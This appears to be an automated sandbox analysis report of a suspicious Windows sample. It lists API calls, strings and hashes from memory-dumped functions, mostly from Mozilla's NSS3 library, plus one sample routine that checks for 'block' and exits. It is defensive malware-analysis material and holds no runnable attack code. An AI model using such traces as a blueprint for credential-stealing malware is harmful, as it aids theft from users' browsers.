Opcode ID: 4d7b8f8f6ef85b0f49e1dd8eed4054efde39844ad7a4fe1a186d1dda0952ca34
Instruction ID: f91b3803c1881f866c126393c98d25f8862a07c2fd51cb7e09a0dfd1065486f0
Opcode Fuzzy Hash: 4d7b8f8f6ef85b0f49e1dd8eed4054efde39844ad7a4fe1a186d1dda0952ca34
Instruction Fuzzy Hash: AA31C235905225AFEB10DF64DD48F6A3BB1EB5331DF0A8025E90DAB213DB319954CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CFDCD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CFDCC7B), ref: 6CFDCD7A

Part of subcall function 6CFDCE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6CF4C1A8,?), ref: 6CFDCE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CFDCDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CFDCDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6CFDCDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CFDCD8E

Part of subcall function 6CF005C0: PR_EnterMonitor.NSS3 ref: 6CF005D1
Part of subcall function 6CF005C0: PR_ExitMonitor.NSS3 ref: 6CF005EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6CFDCDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CFDCDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CFDCE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CFDCE29
PR_UnloadLibrary.NSS3(00000000), ref: 6CFDCE48

Strings

freeaddrinfo, xrefs: 6CFDCD9F, 6CFDCE10
wship6.dll, xrefs: 6CFDCDE3
getnameinfo, xrefs: 6CFDCDB2, 6CFDCE23
ws2_32.dll, xrefs: 6CFDCD75
getaddrinfo, xrefs: 6CFDCD88, 6CFDCDF9

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 83c3395ec5146d71f7919c91bf37af734d937aeba1c69867d9e21013e586874b
Instruction ID: 56726cb6c771efa4afdbacf70d178680b3ff55c616dd739c882f369959d89165
Opcode Fuzzy Hash: 83c3395ec5146d71f7919c91bf37af734d937aeba1c69867d9e21013e586874b
Instruction Fuzzy Hash: 3F11BBE6E12121A6E7016E752C21FBE3A58AB1350DF5D513CD819E6AC1FB20D50CC6E2

Uniqueness

Uniqueness Score: -1.00%

Function 6D021C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(?,00000040,?,?,?,?,?,6D0213BC,?,?,?,6D021193), ref: 6D021C6B
PR_NewLock.NSS3(?,6D021193), ref: 6D021C7E

Part of subcall function 6CFD98D0: calloc.MOZGLUE(?,00000084,6CF00936,00000001,?,6CF0102C), ref: 6CFD98E5

PR_NewCondVar.NSS3(00000000,?,6D021193), ref: 6D021C91

Part of subcall function 6CEFBB80: calloc.MOZGLUE(?,00000084,00000000,00000040,?,6CF021BC), ref: 6CEFBB8C

PR_NewCondVar.NSS3(00000000,?,?,6D021193), ref: 6D021CA7

Part of subcall function 6CEFBB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CEFBBEB
Part of subcall function 6CEFBB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CEFBBFB
Part of subcall function 6CEFBB80: GetLastError.KERNEL32 ref: 6CEFBC03
Part of subcall function 6CEFBB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CEFBC19
Part of subcall function 6CEFBB80: free.MOZGLUE(00000000), ref: 6CEFBC22

PR_NewCondVar.NSS3(00000000,?,?,?,6D021193), ref: 6D021CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6D021193), ref: 6D021CD4
calloc.MOZGLUE(?,000000F4,?,?,?,?,?,6D021193), ref: 6D021CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6D021193), ref: 6D021D1A

Part of subcall function 6CFD9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CF01A48), ref: 6CFD9BB3
Part of subcall function 6CFD9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CF01A48), ref: 6CFD9BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6D021193), ref: 6D021D3D

Part of subcall function 6CFBDD70: TlsGetValue.KERNEL32 ref: 6CFBDD8C
Part of subcall function 6CFBDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CFBDDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6D021193), ref: 6D021D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6D021193), ref: 6D021D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6D021193), ref: 6D021D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6D021193), ref: 6D021D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6D021193), ref: 6D021D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6D021193), ref: 6D021D93
PR_DestroyLock.NSS3(00000000,?,?,6D021193), ref: 6D021D9F
free.MOZGLUE(00000000,?,6D021193), ref: 6D021DA8

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: 0ea34ff575df6f90cfb4cc1adc94354143b602bf605e9c22e474df6cf13ef2a4
Instruction ID: 4e47eb8286935c0f031ae2faa47a95a32e58e5a05b6454a2ee87f09e00be5573
Opcode Fuzzy Hash: 0ea34ff575df6f90cfb4cc1adc94354143b602bf605e9c22e474df6cf13ef2a4
Instruction Fuzzy Hash: FD31A4F1D017019BFB219F65AC51BA77AF4AF05608F044538E84A97B41FB32E519CBA3

Uniqueness

Uniqueness Score: -1.00%

Function 6CF75CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6CF75EC0,00000000,?,?), ref: 6CF75CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6CF75CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CF75CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CF75D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6CF75EC0,00000000,?,?), ref: 6CF75D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6CF75D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CF75D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CF75D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6CF75D80

Strings

NSS_DEFAULT_DB_TYPE, xrefs: 6CF75D1A
dbm:, xrefs: 6CF75D03, 6CF75D60
sql:, xrefs: 6CF75CD1, 6CF75D36
extern:, xrefs: 6CF75CEA, 6CF75D4B
multiaccess:, xrefs: 6CF75CB8

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: 9e99b2a26a87a7cf4cff4e6bffaef99dbdd1301b7b2b88a20bf45981643055bd
Instruction ID: e9f9fd5b0c28335fca60437fbd4c47331f6855a14f2061ed10d9a6538beea689
Opcode Fuzzy Hash: 9e99b2a26a87a7cf4cff4e6bffaef99dbdd1301b7b2b88a20bf45981643055bd
Instruction Fuzzy Hash: 2231EAE1A453925BFB210B24BF4CB773768AF01348F140032EE59D6682F7B2D911C275

Uniqueness

Uniqueness Score: -1.00%

Function 6CF76CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6D041DE0,?), ref: 6CF76CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CF76D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6CF76D70
PORT_Alloc_Util.NSS3(00000480), ref: 6CF76D82
DER_GetInteger_Util.NSS3(?), ref: 6CF76DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CF76DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6CF76E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6CF76F19
PK11_DigestBegin.NSS3(00000000), ref: 6CF76F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6CF76F7B
PK11_DestroyContext.NSS3(00000000,?), ref: 6CF77011
PK11_FreeSymKey.NSS3(00000000), ref: 6CF77033
free.MOZGLUE(?), ref: 6CF7703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6CF77060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CF77087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6CF770AF

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 1c19929c47a0ca47978fc258445064f66faea28527dc2aaf23f1bcdd06910812
Instruction ID: a614e5c78cad62e0ac7e6935f62ccfee7ffb9570d9ef0ca7801a456e63c93047
Opcode Fuzzy Hash: 1c19929c47a0ca47978fc258445064f66faea28527dc2aaf23f1bcdd06910812
Instruction Fuzzy Hash: 45A108729152009BEB209B24EC55BEB3694DB8130CF24493BF918DBB81F775D85587B3

Uniqueness

Uniqueness Score: -1.00%

Function 6CF3AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CF1AB95,00000000,?,00000000,00000000,00000000), ref: 6CF3AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6CF1AB95,00000000,?,00000000,00000000,00000000), ref: 6CF3AF39
PR_Unlock.NSS3(?,?,?,6CF1AB95,00000000,?,00000000,00000000,00000000), ref: 6CF3AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6CF1AB95,00000000,?,00000000,00000000,00000000), ref: 6CF3AF69
TlsGetValue.KERNEL32 ref: 6CF3B06B
EnterCriticalSection.KERNEL32(?), ref: 6CF3B083
PR_Unlock.NSS3(?), ref: 6CF3B0A4
TlsGetValue.KERNEL32 ref: 6CF3B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6CF3B0D9
PR_Unlock.NSS3 ref: 6CF3B102
SECITEM_ZfreeItem_Util.NSS3(00000000,?), ref: 6CF3B151
SECITEM_ZfreeItem_Util.NSS3(00000000,?), ref: 6CF3B182

Part of subcall function 6CF6FAB0: free.MOZGLUE(?,-00000001,?,?,6CF0F673,00000000,00000000), ref: 6CF6FAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CF3B177

Part of subcall function 6CFBC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CFBC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,?,?,?,6CF1AB95,00000000,?,00000000,00000000,00000000), ref: 6CF3B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6CF1AB95,00000000,?,00000000,00000000,00000000), ref: 6CF3B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6CF1AB95,00000000,?,00000000,00000000,00000000), ref: 6CF3B1C2

Part of subcall function 6CF61560: TlsGetValue.KERNEL32(00000000,?,6CF30844,?), ref: 6CF6157A
Part of subcall function 6CF61560: EnterCriticalSection.KERNEL32(?,?,?,6CF30844,?), ref: 6CF6158F
Part of subcall function 6CF61560: PR_Unlock.NSS3(?,?,?,?,6CF30844,?), ref: 6CF615B2

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: e38dad5190bed0511789e487feb1e3d6d705456e8d0f33c97de8e4493e1274a1
Instruction ID: 09d1d809eae38168aa8c078cc119a85fee2d5c5eee8c24d38d0851d4bfa9ec7e
Opcode Fuzzy Hash: e38dad5190bed0511789e487feb1e3d6d705456e8d0f33c97de8e4493e1274a1
Instruction Fuzzy Hash: 52A1D1B1D00215ABEF009FA4DC41BEEBBB4BF09308F144529E809AB751E735E955CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 0040FAE0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 145stringCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 0040FB05
ExitProcess.KERNEL32 ref: 0040FB11
strtok_s.MSVCRT ref: 0040FB28

Strings

block, xrefs: 0040FAF7

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: ExitProcessstrtok_s
String ID: block
API String ID: 3407564107-2199623458
Opcode ID: 94729f4136d9bd7ea6faf03c5861090819d4f62a5b9efec29eaf89cc7381c1d2
Instruction ID: 7825bcbe27da9618b603611e1cfecd621835b499ad6dca7fa43ef563d7fd58f0
Opcode Fuzzy Hash: 94729f4136d9bd7ea6faf03c5861090819d4f62a5b9efec29eaf89cc7381c1d2
Instruction Fuzzy Hash: 0F514074A08209EFDB20DFA1D955BAE77B5BF44305F10807AE802B76C0D778E985CB59

Uniqueness

Uniqueness Score: -1.00%

Function 6CF8AD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CF8ADB1

Part of subcall function 6CF6BE30: SECOID_FindOID_Util.NSS3(6CF2311B,00000000,?,6CF2311B,?), ref: 6CF6BE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CF8ADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CF8AE08

Part of subcall function 6CF6B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6D0418D0,?), ref: 6CF6B095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CF8AE25
PL_FreeArenaPool.NSS3 ref: 6CF8AE63
PR_CallOnce.NSS3(6D072AA4,6CF712D0), ref: 6CF8AE4D

Part of subcall function 6CE94C70: TlsGetValue.KERNEL32(?,?,?,6CE93921,6D0714E4,6CFDCC70), ref: 6CE94C97
Part of subcall function 6CE94C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CE93921,6D0714E4,6CFDCC70), ref: 6CE94CB0
Part of subcall function 6CE94C70: PR_Unlock.NSS3(?,?,?,?,?,6CE93921,6D0714E4,6CFDCC70), ref: 6CE94CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CF8AE93
PR_CallOnce.NSS3(6D072AA4,6CF712D0), ref: 6CF8AECC
PL_FreeArenaPool.NSS3 ref: 6CF8AEDE
PL_FinishArenaPool.NSS3 ref: 6CF8AEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CF8AEF5
PL_FinishArenaPool.NSS3 ref: 6CF8AF16

Strings

security, xrefs: 6CF8ADEE

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 86c6742f3e06f6efd0cb3ccaf2006a20b1f3d5eae86a84c5f75bd750e6a48148
Instruction ID: d4d31651f29c3107465dc6c08e86e253f0bafb0aee4d09b71cd7b024c2bc32ef
Opcode Fuzzy Hash: 86c6742f3e06f6efd0cb3ccaf2006a20b1f3d5eae86a84c5f75bd750e6a48148
Instruction Fuzzy Hash: D44107B280521067EB214B26AC45BEB33F8EF4231CF140926E854A6BC1F7359619C6F3

Uniqueness

Uniqueness Score: -1.00%

Function 6D02AF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CFD9890: TlsGetValue.KERNEL32(?,?,?,6CFD97EB), ref: 6CFD989E

EnterCriticalSection.KERNEL32(?), ref: 6D02AF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6D02AFCE
PR_SetPollableEvent.NSS3(?), ref: 6D02AFD9
EnterCriticalSection.KERNEL32(?), ref: 6D02AFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6D02B00F
_PR_MD_UNLOCK.NSS3(?), ref: 6D02B02F
_PR_MD_UNLOCK.NSS3(?), ref: 6D02B070
PR_JoinThread.NSS3(?), ref: 6D02B07B
free.MOZGLUE(?), ref: 6D02B084
EnterCriticalSection.KERNEL32(?), ref: 6D02B09B
_PR_MD_UNLOCK.NSS3(?), ref: 6D02B0C4
PR_JoinThread.NSS3(?), ref: 6D02B0F3
free.MOZGLUE(?), ref: 6D02B0FC
PR_JoinThread.NSS3(?), ref: 6D02B137
free.MOZGLUE(?), ref: 6D02B140

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 9ec5f75284a9b6b8cc1d4eb0a600a9905abbbbe7a631d4fdfb43277c4e712c42
Instruction ID: 02c0f60d0886558d2e487e9112d03c2396ad331ba8b8c5da717ec73b0c70cb2f
Opcode Fuzzy Hash: 9ec5f75284a9b6b8cc1d4eb0a600a9905abbbbe7a631d4fdfb43277c4e712c42
Instruction Fuzzy Hash: 4B9180B5901602DFDB00CF14C8C0A5ABBF1FF4931876985A9D81A9B726EB32FD45CB80

Uniqueness

Uniqueness Score: -1.00%

Function 6CFA5CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6CFA2BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6CFA2A28,00000060,?), ref: 6CFA2BF0
Part of subcall function 6CFA2BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6CFA2A28,00000060,?), ref: 6CFA2C07
Part of subcall function 6CFA2BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6CFA2A28,00000060,?), ref: 6CFA2C1E
Part of subcall function 6CFA2BE0: free.MOZGLUE(?,00000000,00000000,?,6CFA2A28,00000060,?), ref: 6CFA2C4A

free.MOZGLUE(?,?,6CFAAAD4,?,?,?,?,?,?,?,?,00000000,?,6CFA80C1), ref: 6CFA5D0F
free.MOZGLUE(?,?,?,6CFAAAD4,?,?,?,?,?,?,?,?,00000000,?,6CFA80C1), ref: 6CFA5D4E
free.MOZGLUE(?,?,?,6CFAAAD4,?,?,?,?,?,?,?,?,00000000,?,6CFA80C1), ref: 6CFA5D62
free.MOZGLUE(?,?,?,?,6CFAAAD4,?,?,?,?,?,?,?,?,00000000,?,6CFA80C1), ref: 6CFA5D85
free.MOZGLUE(?,?,?,?,6CFAAAD4,?,?,?,?,?,?,?,?,00000000,?,6CFA80C1), ref: 6CFA5D99
free.MOZGLUE(?,?,?,?,6CFAAAD4,?,?,?,?,?,?,?,?,00000000,?,6CFA80C1), ref: 6CFA5DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6CFAAAD4,?,?,?,?,?,?,?,?,00000000,?,6CFA80C1), ref: 6CFA5E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6CFAAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CFA5E3E
free.MOZGLUE(?,?,?,?,?,?,6CFAAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CFA5E47
free.MOZGLUE(?,?,?,?,6CFAAAD4,?,?,?,?,?,?,?,?,00000000,?,6CFA80C1), ref: 6CFA5E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6CFAAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CFA5E78
free.MOZGLUE(?,?,?,?,?,?,?,6CFAAAD4), ref: 6CFA5EB9
free.MOZGLUE(?,?,?,?,?,?,?,6CFAAAD4), ref: 6CFA5EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6CFAAAD4), ref: 6CFA5F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CFAAAD4), ref: 6CFA5F4B

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: 274f78b8b5ce2019c605cee4abf61fbd85812ecfda8e47a0cecb39f8113c812a
Instruction ID: ca3661ef3b406d01d2d16528f19acb3187937ce74447549d8a7d1db5d6bcec8b
Opcode Fuzzy Hash: 274f78b8b5ce2019c605cee4abf61fbd85812ecfda8e47a0cecb39f8113c812a
Instruction Fuzzy Hash: 09718EB5A04B41DFDB00CF64D884A92B7F5BF89308F148529E85E87B11EB31F965CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CF28DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6CF28E22
EnterCriticalSection.KERNEL32(?), ref: 6CF28E36
memset.VCRUNTIME140(?,00000000,?), ref: 6CF28E4F
calloc.MOZGLUE(?,?,?,?), ref: 6CF28E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CF28E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CF28EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6CF28EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CF28EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6CF28F00
free.MOZGLUE(?), ref: 6CF28F0E
